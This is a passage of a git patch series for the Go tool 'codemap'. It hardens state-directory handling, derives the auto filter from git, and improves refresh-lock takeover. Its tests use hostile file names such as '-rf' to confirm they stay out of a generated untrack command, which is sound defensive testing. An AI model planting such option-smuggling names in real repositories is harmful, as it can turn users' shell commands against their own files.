projectpath.CanonicalPath(project) process := startHelperDaemon(t, root) - registerDaemon(root, process.Process.Pid) + registerDaemon(root, process.Process.Pid, "") active, err := ResolveActiveRuntime(project) if err != nil { @@ -298,18 +298,45 @@ func TestResolveActiveRuntimeFindsRegisteredDaemonOutsideStateDir(t *testing.T) if err := Stop(project); err != nil { t.Fatalf("Stop() = %v", err) } - if registeredPID(root) != 0 { + if _, ok := registeredDaemon(root); ok { t.Fatal("registry entry survived Stop") } } +// A daemon under an explicit --setup-root keeps its pid in another current +// layout; the registry names that dir, so it is used, never replaced. +func TestResolveActiveRuntimeUsesRegisteredDaemonOfAnotherLayout(t *testing.T) { + project := t.TempDir() + if err := os.Mkdir(filepath.Join(project, ".git"), 0o755); err != nil { + t.Fatal(err) + } + root := projectpath.CanonicalPath(project) + process := startHelperDaemon(t, root) + elsewhere := t.TempDir() + if err := os.WriteFile(filepath.Join(elsewhere, "watch.pid"), []byte(fmt.Sprint(process.Process.Pid)), 0o600); err != nil { + t.Fatal(err) + } + registerDaemon(root, process.Process.Pid, elsewhere) + + active, err := ResolveActiveRuntime(project) + if err != nil { + t.Fatal(err) + } + if active.Legacy || active.PID != process.Process.Pid || active.Directory != elsewhere { + t.Fatalf("ResolveActiveRuntime() = %#v, want the other layout's daemon, not legacy", active) + } + if !IsRunning(project) { + t.Fatal("IsRunning = false for a current daemon under another layout") + } +} + func TestResolveActiveRuntimeIgnoresForeignRegisteredPID(t *testing.T) { project := t.TempDir() if err := os.Mkdir(filepath.Join(project, ".git"), 0o755); err != nil { t.Fatal(err) } foreign := startHelperDaemon(t, t.TempDir()) - registerDaemon(project, foreign.Process.Pid) + registerDaemon(project, foreign.Process.Pid, "") active, err := ResolveActiveRuntime(project) if err != nil { diff --git a/watch/testmain_test.go b/watch/testmain_test.go index 74e7d2c9..4c5c6300 100644 --- a/watch/testmain_test.go +++ b/watch/testmain_test.go @@ -16,7 +16,8 @@ func TestMain(m *testing.M) { os.Exit(1) } os.Setenv(daemonRegistryEnv, dir) - os.Setenv("XDG_CACHE_HOME", dir) + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) code := m.Run() _ = os.RemoveAll(dir) os.Exit(code) diff --git a/watch/transition.go b/watch/transition.go index 15d57a8d..65362ca9 100644 --- a/watch/transition.go +++ b/watch/transition.go @@ -11,6 +11,7 @@ import ( "time" "codemap/internal/projectpath" + "codemap/internal/runtimefile" ) var ErrTransitionLocked = errors.New("watch daemon transition already in progress") @@ -110,7 +111,7 @@ func readTransition(path string) (transitionRecord, error) { if !info.Mode().IsRegular() { return transitionRecord{}, fmt.Errorf("unsafe transition lock %q", path) } - data, err := os.ReadFile(path) + data, err := runtimefile.Read(path) if err != nil { return transitionRecord{}, err } From 96a48b6378f881af7d8d83b32edfa016e21d3ee4 Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sun, 15 Nov 2026 00:22:24 -0500 Subject: [PATCH 09/15] fix(state): read-only state paths, safe state dirs, git-derived auto filter CI: drop dead helpers staticcheck flagged. Windows failures were test isolation, not the product: subprocesses got only HOME, but os.UserHomeDir reads USERPROFILE there, so state landed in TestMain's shared home and each test's own home stayed empty. Every test helper now sets both. The subagent timeout test holds the render back with a test-only CODEMAP_TEST_SUBAGENT_RENDER_DELAY instead of racing 1ms. Reading state creates nothing (projectpath.StateDir): config.Load, watch status, handoff reads and the subagent cache hit path only check the levels that exist. A plain directory gets no state at all, a git repo one entry. The five TestMains that only hid that are gone. The auto filter is re-derived from git ls-files, unbounded, never from a bounded walk; the tree walks with the stored filter as before, and without git the stored copy stays. Its note prints only for a person (hooks now always set CODEMAP_TREE_LEAN) and only when it hides a file. Removed the in-repo handoff fallback: a cloned repo could feed text to the agent as its own last session. The sessions dir and daemon registry are Lstat-checked before any list, write or cleanup, so a planted link cannot make codemap delete outside the state dir. Every refused state path gets one error naming it and saying to remove it; hooks stay silent and exit 0. The subagent lock records the refresher's pid and is taken over at once when it is dead. With no usable state dir subagent-start renders in the foreground. A losing `watch start` that sees no daemon fails. Doctor counts only known state names as committed machine state. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01FWQw8CwnpBLPW6jJiDE7BT --- cmd/config.go | 87 ++++++-- cmd/config_more_test.go | 34 +++- cmd/doctor_scope_test.go | 4 + cmd/doctor_shadow_test.go | 1 + cmd/doctor_test.go | 1 + cmd/gitignore.go | 50 ++--- cmd/hooks.go | 20 +- cmd/hooks_mcp_test.go | 2 + cmd/setup_review_test.go | 18 +- cmd/setup_run_test.go | 7 +- cmd/setup_scope_test.go | 1 + cmd/subagent_cache.go | 39 +++- cmd/subagent_cache_test.go | 49 ++++- config/testmain_test.go | 20 -- docs/CONFIG.md | 2 +- docs/INSTALL.md | 4 +- find/testmain_test.go | 20 -- handoff/legacy_test.go | 70 ------- handoff/storage.go | 45 ++--- internal/gitexclude/gitexclude_test.go | 9 - internal/projectpath/path.go | 6 +- internal/projectpath/runtime.go | 51 ++++- internal/projectpath/runtime_cache_test.go | 5 +- internal/runtimefile/append_unix.go | 5 +- internal/runtimefile/append_windows.go | 2 +- internal/runtimefile/runtimefile.go | 38 +++- main.go | 32 +-- render/testmain_test.go | 20 -- scanner/testmain_test.go | 20 -- skills/testmain_test.go | 20 -- state_location_test.go | 219 +++++++++++++++++++-- watch/registry.go | 5 +- watch/state.go | 20 +- watch/transition.go | 2 +- watch_readiness_test.go | 21 ++ 35 files changed, 596 insertions(+), 353 deletions(-) delete mode 100644 config/testmain_test.go delete mode 100644 find/testmain_test.go delete mode 100644 handoff/legacy_test.go delete mode 100644 render/testmain_test.go delete mode 100644 scanner/testmain_test.go delete mode 100644 skills/testmain_test.go diff --git a/cmd/config.go b/cmd/config.go index a969bc95..04d4109b 100644 --- a/cmd/config.go +++ b/cmd/config.go @@ -7,6 +7,7 @@ import ( "errors" "fmt" "os" + "os/exec" "path/filepath" "sort" "strings" @@ -115,25 +116,85 @@ func EnsureAutoConfig(root string) bool { if err != nil { return false } - return runtimefile.WriteAtomic(path, encodeConfig(cfg), 0o600) == nil + return writeAutoConfig(root, cfg) } -// RefreshAutoConfig re-derives the auto config from files, the unfiltered -// result of a scan the caller already ran, and rewrites the stored copy when -// it changed, so it follows the repo's file mix without a second scan. -func RefreshAutoConfig(root string, files []scanner.FileInfo) config.ProjectConfig { - cfg := configFromFiles(files, &configInitResult{}) - path := config.AutoConfigPath(root) +// writeAutoConfig stores cfg as root's auto config when it differs from the +// stored copy, creating the state dir only now that there is something to +// write. +func writeAutoConfig(root string, cfg config.ProjectConfig) bool { + dir, err := projectpath.CheckedRuntimeCodemapDir(root) + if err != nil { + return false + } + path := filepath.Join(dir, config.AutoConfigFile) data := encodeConfig(cfg) - if stored, err := runtimefile.Read(path); path != "" && (err != nil || !bytes.Equal(stored, data)) { - _ = runtimefile.WriteAtomic(path, data, 0o600) + if stored, err := runtimefile.Read(path); err == nil && bytes.Equal(stored, data) { + return false } - return cfg + return runtimefile.WriteAtomic(path, data, 0o600) == nil +} + +// RefreshAutoConfig keeps root's stored auto config in step with its file +// mix and returns the listing it used. The mix comes from git's file list, +// which is unbounded and far cheaper than a walk, so a repo over the scan +// bound never derives filters from a truncated sample. Without git the stored +// copy stays as it is (EnsureAutoConfig fills a missing one) and the listing +// is nil. +func RefreshAutoConfig(root string) []scanner.FileInfo { + if !AutoConfigActive(root) { + return nil + } + files, err := gitListedFiles(root) + if err != nil { + EnsureAutoConfig(root) + return nil + } + writeAutoConfig(root, configFromFiles(files, &configInitResult{})) + return files +} + +// gitListedFiles is every tracked or unignored untracked file under root, +// minus the directories the scanner never enters. +func gitListedFiles(root string) ([]scanner.FileInfo, error) { + cmd := exec.Command("git", "ls-files", "-z", "--cached", "--others", "--exclude-standard") + cmd.Dir = root + out, err := cmd.Output() + if err != nil { + return nil, err + } + var files []scanner.FileInfo + for _, path := range strings.Split(string(out), "\x00") { + if path == "" || inIgnoredDir(path) { + continue + } + files = append(files, scanner.FileInfo{Path: path, Ext: filepath.Ext(path)}) + } + return files, nil +} + +func inIgnoredDir(path string) bool { + parts := strings.Split(path, "/") + for _, dir := range parts[:len(parts)-1] { + if scanner.IgnoredDirs[dir] { + return true + } + } + return false } -// AutoFilterNote names an auto filter in one line, so it is never silent. -func AutoFilterNote(cfg config.ProjectConfig) string { - if len(cfg.Only) == 0 && len(cfg.Exclude) == 0 { +// AutoFilterNote names the auto filter in one line, so it is never silent, +// but only when it hides at least one of files (a Go-only repo filtered to +// Go hides nothing and gets no note). +func AutoFilterNote(cfg config.ProjectConfig, files []scanner.FileInfo) string { + hides := false + for _, f := range files { + if !scanner.MatchesFilters(f.Path, f.Ext, cfg.Only, cfg.Exclude) { + hides = true + break + } + } + if !hides { return "" } note := "auto filter:" diff --git a/cmd/config_more_test.go b/cmd/config_more_test.go index 1ac7726b..8e1ad146 100644 --- a/cmd/config_more_test.go +++ b/cmd/config_more_test.go @@ -286,25 +286,47 @@ func TestHooksNeverScanForTheAutoConfig(t *testing.T) { // The tree re-derives the auto config from its own scan, so a repo that // gained Go files after a Python-only start shows them on the next tree. func TestRefreshAutoConfigFollowsTheFileMix(t *testing.T) { + if _, err := exec.LookPath("git"); err != nil { + t.Skip("git not available") + } root := t.TempDir() - mustWriteConfigFixture(t, filepath.Join(root, ".git", "HEAD"), "ref: refs/heads/main\n") + runGitTestCmd(t, root, "init", "-q") mustWriteConfigFixture(t, filepath.Join(root, "tool.py"), "print(1)\n") - files, _ := scanForConfig(root) - if got := strings.Join(RefreshAutoConfig(root, files).Only, ","); got != "py" { + listed := RefreshAutoConfig(root) + if got := strings.Join(config.Load(root).Only, ","); got != "py" { t.Fatalf("only = %q, want py", got) } + if note := AutoFilterNote(config.Load(root), listed); note != "" { + t.Fatalf("a filter that hides nothing printed %q", note) + } mustWriteConfigFixture(t, filepath.Join(root, "pkg", "a.go"), "package pkg\n") mustWriteConfigFixture(t, filepath.Join(root, "pkg", "b.go"), "package pkg\n") - files, _ = scanForConfig(root) - RefreshAutoConfig(root, files) + mustWriteConfigFixture(t, filepath.Join(root, "README.md"), "# r\n") + listed = RefreshAutoConfig(root) if got := config.Load(root).Only; !slices.Contains(got, "go") { t.Fatalf("stored only = %v, want go added", got) } - if note := AutoFilterNote(config.Load(root)); !strings.HasPrefix(note, "auto filter: only go,py") { + if note := AutoFilterNote(config.Load(root), listed); !strings.HasPrefix(note, "auto filter: only go,py") { t.Fatalf("note = %q", note) } } +// Without git the stored auto config is kept, never re-derived from a walk. +func TestRefreshAutoConfigWithoutGitKeepsTheStoredCopy(t *testing.T) { + root := t.TempDir() + mustWriteConfigFixture(t, filepath.Join(root, ".git", "HEAD"), "garbage") + mustWriteConfigFixture(t, filepath.Join(root, "a.py"), "x = 1\n") + if !writeAutoConfig(root, config.ProjectConfig{Only: []string{"go"}, Mode: "auto"}) { + t.Fatal("could not store the auto config") + } + if listed := RefreshAutoConfig(root); listed != nil { + t.Fatalf("listed %d files from a broken git dir", len(listed)) + } + if got := strings.Join(config.Load(root).Only, ","); got != "go" { + t.Fatalf("stored only = %q, want go kept", got) + } +} + // TestEnsureAutoConfigKeepsFreshCloneClean: the auto config leaves a fresh // clone with nothing new, not even ignored files. func TestEnsureAutoConfigKeepsFreshCloneClean(t *testing.T) { diff --git a/cmd/doctor_scope_test.go b/cmd/doctor_scope_test.go index 3f91cad5..54e8d1fb 100644 --- a/cmd/doctor_scope_test.go +++ b/cmd/doctor_scope_test.go @@ -162,6 +162,7 @@ func TestRunDoctorFallsBackToUserScopeHooks(t *testing.T) { root := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) originalLook := doctorLookPath originalRecommended := recommendedClaudeHooks @@ -205,6 +206,7 @@ func TestRunDoctorFindsLocalScopedClaudeMCP(t *testing.T) { root := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) originalLook := doctorLookPath originalVersionProbe := doctorVersionProbe @@ -266,6 +268,7 @@ func TestRunDoctorReportsMisconfiguredScopeOverAbsentOne(t *testing.T) { root := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) originalLook := doctorLookPath t.Cleanup(func() { doctorLookPath = originalLook }) @@ -322,6 +325,7 @@ func TestRunDoctorGlobalFlagChecksOnlyUserScope(t *testing.T) { root := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) originalLook := doctorLookPath originalRecommended := recommendedClaudeHooks diff --git a/cmd/doctor_shadow_test.go b/cmd/doctor_shadow_test.go index 202826ff..65dce5b0 100644 --- a/cmd/doctor_shadow_test.go +++ b/cmd/doctor_shadow_test.go @@ -17,6 +17,7 @@ func TestRunDoctorReportsBrokenLocalMCPThatShadowsHealthyUserScope(t *testing.T) root := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) originalLook := doctorLookPath originalVersionProbe := doctorVersionProbe diff --git a/cmd/doctor_test.go b/cmd/doctor_test.go index cf2e781d..ee0db789 100644 --- a/cmd/doctor_test.go +++ b/cmd/doctor_test.go @@ -15,6 +15,7 @@ func TestRunDoctorUsesNearestGitRootFromNestedDirectory(t *testing.T) { root, home := t.TempDir(), t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) prevCodex := runCodexPluginCommand runCodexPluginCommand = func(string, ...string) ([]byte, error) { return nil, os.ErrNotExist } t.Cleanup(func() { runCodexPluginCommand = prevCodex }) diff --git a/cmd/gitignore.go b/cmd/gitignore.go index fd9178cf..e18bc341 100644 --- a/cmd/gitignore.go +++ b/cmd/gitignore.go @@ -77,9 +77,11 @@ func leftoverMachineState(root string) (left, unknown []string) { } rel = filepath.ToSlash(rel) switch { - case userAuthored(rel) || tracked[rel]: - case knownStateFile.MatchString(rel) && !strings.Contains(rel, ".."): - left = append(left, rel) + case userAuthored(rel): + case isKnownStateFile(rel): + if !tracked[rel] { // tracked ones are reported with the untrack command + left = append(left, rel) + } default: unknown = append(unknown, rel) } @@ -119,34 +121,34 @@ func isPasteSafe(c byte) bool { return c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' || c >= '0' && c <= '9' || strings.IndexByte("._/-", c) >= 0 } -// trackedStateDetail lists tracked files as data, one per line, then a -// paste-safe untrack command. File names are repo-controlled, so the command -// carries only names matching a known state file; anything else is listed -// for the user to handle by hand. +// trackedStateDetail lists tracked state files as data, one per line, then a +// paste-safe untrack command. Names are repo-controlled, so the command +// carries only those matching knownStateFile, whatever the caller passed. func trackedStateDetail(tracked []string) string { - var b strings.Builder var safe []string - b.WriteString(nameList(tracked)) for _, f := range tracked { - if knownStateFile.MatchString(f) && !strings.Contains(f, "..") { + if isKnownStateFile(f) { safe = append(safe, f) } } + detail := nameList(tracked) if len(safe) > 0 { - fmt.Fprintf(&b, " untrack with: git rm --cached -- %s\n", strings.Join(safe, " ")) - } - if len(safe) < len(tracked) { - fmt.Fprintf(&b, " %d unrecognised name(s) above are left out of the command. Untrack them by hand if they are codemap state\n", len(tracked)-len(safe)) + detail += fmt.Sprintf(" untrack with: git rm --cached -- %s\n", strings.Join(safe, " ")) } - return b.String() + return detail +} + +func isKnownStateFile(rel string) bool { + return knownStateFile.MatchString(rel) && !strings.Contains(rel, "..") } // knownStateFile matches the machine-state paths codemap writes, in the // characters [A-Za-z0-9._/-] only. var knownStateFile = regexp.MustCompile(`^\.codemap/(state\.json|status|hubs\.txt|agent_edits\.jsonl|events\.log|watch\.pid|watch\.transition|project\.json|sessions\.lock|topology-state\.json|handoff\.[A-Za-z0-9_-]+\.(json|log)|(sessions|projects|runtime)/[A-Za-z0-9._/-]+)$`) -// trackedMachineState is gitexclude.TrackedStateFiles minus the user-authored -// files (config.json, skills/) that are meant to be committed. +// trackedMachineState is the tracked files under .codemap/ with a known +// machine-state name. Other tracked files (config.json, skills/, or anything +// codemap does not recognise) are the user's. func trackedMachineState(root string) []string { files, err := gitexclude.TrackedStateFiles(root) if err != nil { @@ -154,19 +156,13 @@ func trackedMachineState(root string) []string { } var state []string for _, f := range files { - if !userAuthored(f) { + if isKnownStateFile(f) { state = append(state, f) } } return state } -// localCodemapIgnore reports whether root's info/exclude already lists -// ignoreEntry. -func localCodemapIgnore(root string) (string, bool, error) { - return gitexclude.LocalEntry(root) -} - // isGitWorkTree reports whether root sits inside a git working tree. func isGitWorkTree(root string) bool { return gitexclude.IsWorkTree(root) @@ -187,9 +183,3 @@ func infoExcludePath(root string) (string, error) { func appendIgnoreEntry(path, entry string) error { return gitexclude.AppendEntry(path, entry) } - -// hasIgnoreLine reports whether data lists entry as a standalone, uncommented -// line. -func hasIgnoreLine(data []byte, entry string) bool { - return gitexclude.HasLine(data, entry) -} diff --git a/cmd/hooks.go b/cmd/hooks.go index 79d7bdc9..22cf061e 100644 --- a/cmd/hooks.go +++ b/cmd/hooks.go @@ -569,9 +569,10 @@ func renderTreeSubprocess(ctx context.Context, exe, root string, projCfg config. } args = append(args, root) cmd := exec.CommandContext(ctx, exe, args...) - if lean != "" { - cmd.Env = append(os.Environ(), TreeLeanEnv+"="+lean) + if lean == "" { + lean = treeLeanNone } + cmd.Env = append(os.Environ(), TreeLeanEnv+"="+lean) var buf strings.Builder cmd.Stdout = &buf cmd.Stderr = stderr @@ -651,10 +652,13 @@ func fitSubagentStart(header, tree string, maxBytes int) string { // TreeLeanEnv tells a tree render to shed extras: "1" cuts the hub list to // three, "2" also drops line counts. TreeLeanDirsOnly keeps only directory -// lines and the full hub list, with no line counts. +// lines and the full hub list, with no line counts. Hooks always set it ("0" +// sheds nothing), so a tree that sees it set is rendering for an agent and +// leaves out human-only lines such as the auto filter note. const ( TreeLeanEnv = "CODEMAP_TREE_LEAN" TreeLeanDirsOnly = "dirs" + treeLeanNone = "0" ) // Markers of the tree's own hub trailer (render/tree_compact.go). @@ -2059,7 +2063,11 @@ func DaemonShouldExit(root string, now time.Time) bool { if err != nil { return false } - entries, err := os.ReadDir(filepath.Join(codemapDir, "sessions")) + sessions := filepath.Join(codemapDir, "sessions") + if runtimefile.CheckDir(sessions) != nil { + return false + } + entries, err := os.ReadDir(sessions) if err != nil || len(entries) == 0 { return false } @@ -2099,7 +2107,7 @@ func updateSessionLeaseContext(ctx context.Context, root, sessionID string, acti defer os.Remove(lockPath) leaseDir := filepath.Join(codemapDir, "sessions") - if err := os.MkdirAll(leaseDir, 0o700); err != nil { + if err := runtimefile.EnsureDir(leaseDir); err != nil { return err } entries, err := os.ReadDir(leaseDir) @@ -2168,7 +2176,7 @@ func acquireSessionLockContext(ctx context.Context, lockPath string) error { if !os.IsExist(err) { return err } - if info, statErr := os.Stat(lockPath); statErr == nil && time.Since(info.ModTime()) > sessionLockStaleAfter { + if info, statErr := os.Lstat(lockPath); statErr == nil && time.Since(info.ModTime()) > sessionLockStaleAfter { _ = os.RemoveAll(lockPath) continue } diff --git a/cmd/hooks_mcp_test.go b/cmd/hooks_mcp_test.go index 64a53d94..91cae9ae 100644 --- a/cmd/hooks_mcp_test.go +++ b/cmd/hooks_mcp_test.go @@ -21,6 +21,7 @@ func TestMCPToolHintOnlyWhenHostHasCodemapMCP(t *testing.T) { root, home := t.TempDir(), t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) t.Setenv("CODEMAP_HOOK_AGENT", "claude") if got := mcpToolHint(root)("codemap --importers a.go"); got != "" { @@ -45,6 +46,7 @@ func TestIntegrationDriftLineNamesRepairCommand(t *testing.T) { root, home := t.TempDir(), t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) writeClaudeProjectMCP(t, root, buildinfo.Current()) if line := integrationDriftLine(hostCodemapMCPEntries(root, "claude")); line != "" { diff --git a/cmd/setup_review_test.go b/cmd/setup_review_test.go index 1c72c102..3bac191c 100644 --- a/cmd/setup_review_test.go +++ b/cmd/setup_review_test.go @@ -434,6 +434,7 @@ func TestRunDoctorReportsUnconfiguredProject(t *testing.T) { home := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) t.Setenv("PATH", t.TempDir()) doctorLookPath = func(name string) (string, error) { @@ -541,6 +542,7 @@ func TestDetectInstalledAgentsUsesHomeMarkers(t *testing.T) { home := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) t.Setenv("PATH", t.TempDir()) claude, codex := detectInstalledAgents() @@ -650,9 +652,12 @@ func TestRunDoctorReportsTrackedCodemapState(t *testing.T) { t.Fatalf("a committed config.json is not machine state, got:\n%s", out) } - // Legacy repo: an older codemap left state.json committed beside config.json. - if err := os.WriteFile(filepath.Join(root, ".codemap", "state.json"), []byte("{}\n"), 0o644); err != nil { - t.Fatal(err) + // Legacy repo: an older codemap left state.json committed beside config.json, + // and the user committed files of their own there too. + for _, name := range []string{"state.json", "a b.json", "-rf"} { + if err := os.WriteFile(filepath.Join(root, ".codemap", name), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } } runGitTestCmd(t, root, "add", "-f", ".codemap") runGitTestCmd(t, root, "-c", "user.name=Test", "-c", "user.email=test@example.com", "commit", "-q", "-m", "track codemap state") @@ -678,14 +683,14 @@ func TestRunDoctorReportsTrackedCodemapState(t *testing.T) { " untrack with: git rm --cached -- .codemap/state.json\n", "NOTE leftover codemap state: 2 file(s) under .codemap/ from an older codemap are no longer used and are safe to delete:\n" + " (file names, not commands)\n .codemap/hubs.txt\n .codemap/projects/abc/handoff.latest.json\n", - "NOTE unrecognised files in .codemap/ (not touched by codemap): 1\n (file names, not commands)\n .codemap/notes/mine.txt\n", + "NOTE unrecognised files in .codemap/ (not touched by codemap): 3\n (file names, not commands)\n .codemap/-rf\n .codemap/a\\x20b.json\n .codemap/notes/mine.txt\n", "OK state dir: ", } { if !strings.Contains(out, want) { t.Fatalf("expected %q in tracked-state diagnosis, got:\n%s", want, out) } } - if strings.Contains(out, "config.json\"") || strings.Contains(out, "git rm -r") { + if strings.Contains(out, "config.json\"") || strings.Contains(out, "git rm -r") || strings.Contains(out, "by hand") { t.Fatalf("untrack report must name only machine state:\n%s", out) } } @@ -724,7 +729,4 @@ func TestTrackedStateDetailKeepsHostileNamesOutOfTheCommand(t *testing.T) { if strings.ContainsAny(strings.ReplaceAll(out, "(file names, not commands)", ""), "$;|~\"") { t.Fatalf("a shell metacharacter reached the output:\n%s", out) } - if !strings.Contains(out, "5 unrecognised name(s)") { - t.Fatalf("missing left-out note:\n%s", out) - } } diff --git a/cmd/setup_run_test.go b/cmd/setup_run_test.go index c2673115..03358790 100644 --- a/cmd/setup_run_test.go +++ b/cmd/setup_run_test.go @@ -23,6 +23,7 @@ func TestClaudeSettingsPath(t *testing.T) { home := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) global, err := claudeSettingsPath(root, true) if err != nil { t.Fatalf("global claudeSettingsPath error: %v", err) @@ -74,6 +75,7 @@ func TestRunSetupGlobalSkillsFollowSymlinkedClaudeHome(t *testing.T) { root, home, dotfiles := t.TempDir(), t.TempDir(), t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) if err := os.MkdirAll(filepath.Join(root, ".git"), 0o755); err != nil { t.Fatal(err) } @@ -126,6 +128,7 @@ func TestRunSetupCreatesConfigAndHooks(t *testing.T) { home := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) t.Setenv("CODEX_HOME", filepath.Join(home, ".codex")) first := captureOutput(func() { RunSetup([]string{"--agent", "both", root}, ".") }) if !strings.Contains(first, "Config: created") || !strings.Contains(first, "Claude hooks: created") || !strings.Contains(first, "Codex hooks: created") { @@ -207,7 +210,9 @@ func TestRunSetupWritesStateIgnore(t *testing.T) { t.Skip("git not available") } root := makeGitRepo(t) - t.Setenv("HOME", t.TempDir()) + home := t.TempDir() + t.Setenv("HOME", home) + t.Setenv("USERPROFILE", home) exclude, err := infoExcludePath(root) if err != nil { t.Fatal(err) diff --git a/cmd/setup_scope_test.go b/cmd/setup_scope_test.go index 0172df4e..35c23ab2 100644 --- a/cmd/setup_scope_test.go +++ b/cmd/setup_scope_test.go @@ -13,6 +13,7 @@ func isolateHome(t *testing.T) string { home := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) t.Setenv("CODEX_HOME", "") return home } diff --git a/cmd/subagent_cache.go b/cmd/subagent_cache.go index 5725d664..8442ed9e 100644 --- a/cmd/subagent_cache.go +++ b/cmd/subagent_cache.go @@ -6,11 +6,13 @@ import ( "os" "os/exec" "path/filepath" + "strconv" "strings" "time" "codemap/internal/projectpath" "codemap/internal/runtimefile" + "codemap/watch" ) // The subagent orientation block is cached per HEAD commit in the project's @@ -22,6 +24,9 @@ const ( subagentRefreshLock = "subagent-start.lock" subagentRefreshHook = "subagent-refresh" // internal: the background render subagentRefreshBound = 60 * time.Second + // subagentRenderDelayEnv delays the background render; only tests set it, + // so the slow path is exercised without racing the machine's speed. + subagentRenderDelayEnv = "CODEMAP_TEST_SUBAGENT_RENDER_DELAY" ) type subagentCache struct { @@ -35,10 +40,10 @@ func subagentCacheDir(root string) (string, bool) { } // readSubagentCache returns the cached block for key; a missing, corrupt or -// stale cache is a miss. +// stale cache is a miss. It creates nothing. func readSubagentCache(root, key string) (string, bool) { - dir, ok := subagentCacheDir(root) - if !ok || key == "" { + dir, err := projectpath.StateDir(root) + if err != nil || key == "" { return "", false } data, err := runtimefile.Read(filepath.Join(dir, subagentCacheFile)) @@ -91,7 +96,12 @@ func subagentStartBlock(root string, budget time.Duration) string { } dir, ok := subagentCacheDir(root) if !ok { - return "" + // The cache is an optimisation: with nowhere to keep it, render here + // under the same budget and store nothing. + ctx, cancel := context.WithTimeout(context.Background(), budget) + defer cancel() + block, _ := renderSubagentBlock(ctx, root) + return block } if release, won := acquireRefreshLock(filepath.Join(dir, subagentRefreshLock)); won && !startSubagentRefresh(root) { release() @@ -135,21 +145,28 @@ func refreshSubagentCache(root string) { if !ok { return } - defer os.Remove(filepath.Join(dir, subagentRefreshLock)) + lock := filepath.Join(dir, subagentRefreshLock) + defer os.Remove(lock) + // The pid lets a waiter take the lock over at once if this process dies. + _ = runtimefile.WriteAtomic(lock, []byte(strconv.Itoa(os.Getpid())), 0o600) key := subagentCacheKey(root) if _, hit := readSubagentCache(root, key); hit { return } ctx, cancel := context.WithTimeout(context.Background(), subagentRefreshBound) defer cancel() + if delay, err := time.ParseDuration(os.Getenv(subagentRenderDelayEnv)); err == nil { + time.Sleep(delay) + } if block, err := renderSubagentBlock(ctx, root); err == nil { writeSubagentCache(root, key, block) } } // acquireRefreshLock creates lock exclusively (O_EXCL never follows a link). -// A lock older than the refresh bound belongs to a render that died, so it is -// taken over. +// A lock whose recorded refresher is no longer alive, or that is older than +// the refresh bound (a live but stuck render, or one that never recorded its +// pid), is taken over. func acquireRefreshLock(lock string) (func(), bool) { for attempt := 0; attempt < 2; attempt++ { f, err := os.OpenFile(lock, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o600) @@ -158,7 +175,13 @@ func acquireRefreshLock(lock string) (func(), bool) { return func() { _ = os.Remove(lock) }, true } info, statErr := os.Lstat(lock) - if statErr != nil || time.Since(info.ModTime()) < subagentRefreshBound { + if statErr != nil || !info.Mode().IsRegular() { + return nil, false + } + data, _ := runtimefile.Read(lock) + pid, _ := strconv.Atoi(strings.TrimSpace(string(data))) + dead := pid > 0 && !watch.ProcessAlive(pid) + if !dead && time.Since(info.ModTime()) < subagentRefreshBound { return nil, false } _ = os.Remove(lock) diff --git a/cmd/subagent_cache_test.go b/cmd/subagent_cache_test.go index 921f9eb4..ccdcb7d7 100644 --- a/cmd/subagent_cache_test.go +++ b/cmd/subagent_cache_test.go @@ -3,7 +3,9 @@ package cmd import ( "context" "os" + "os/exec" "path/filepath" + "strconv" "strings" "sync" "sync/atomic" @@ -101,7 +103,15 @@ func TestSubagentStartConcurrentMissesLaunchOneRender(t *testing.T) { // A render slower than the budget prints nothing for anyone, yet still fills // the cache afterwards and drops its lock. func TestSubagentStartSlowRenderPrintsNothingAndFillsTheCacheLater(t *testing.T) { - root, renders, launches := subagentCacheRepo(t, 300*time.Millisecond) + root, renders, launches := subagentCacheRepo(t, 0) + // The render waits for every caller to give up, whatever the machine's + // speed, so "slow" is a fact of the test, not a race. + gate := make(chan struct{}) + fast := renderSubagentBlock + renderSubagentBlock = func(ctx context.Context, root string) (string, error) { + <-gate + return fast(ctx, root) + } var wg sync.WaitGroup for i := 0; i < 4; i++ { wg.Add(1) @@ -113,6 +123,7 @@ func TestSubagentStartSlowRenderPrintsNothingAndFillsTheCacheLater(t *testing.T) }() } wg.Wait() + close(gate) waitForSubagentRefresh(t, root) if launches.Load() != 1 || renders.Load() != 1 { t.Fatalf("launches=%d renders=%d, want one", launches.Load(), renders.Load()) @@ -138,3 +149,39 @@ func TestSubagentStartTakesOverAStaleLock(t *testing.T) { } waitForSubagentRefresh(t, root) } + +// A fresh lock whose refresher died is taken over at once; one held by a +// live process stays held. +func TestSubagentStartTakesOverTheLockOfADeadRefresher(t *testing.T) { + root, renders, launches := subagentCacheRepo(t, 0) + dir, _ := subagentCacheDir(root) + lock := filepath.Join(dir, subagentRefreshLock) + if err := os.WriteFile(lock, []byte(strconv.Itoa(os.Getpid())), 0o600); err != nil { + t.Fatal(err) + } + if out := 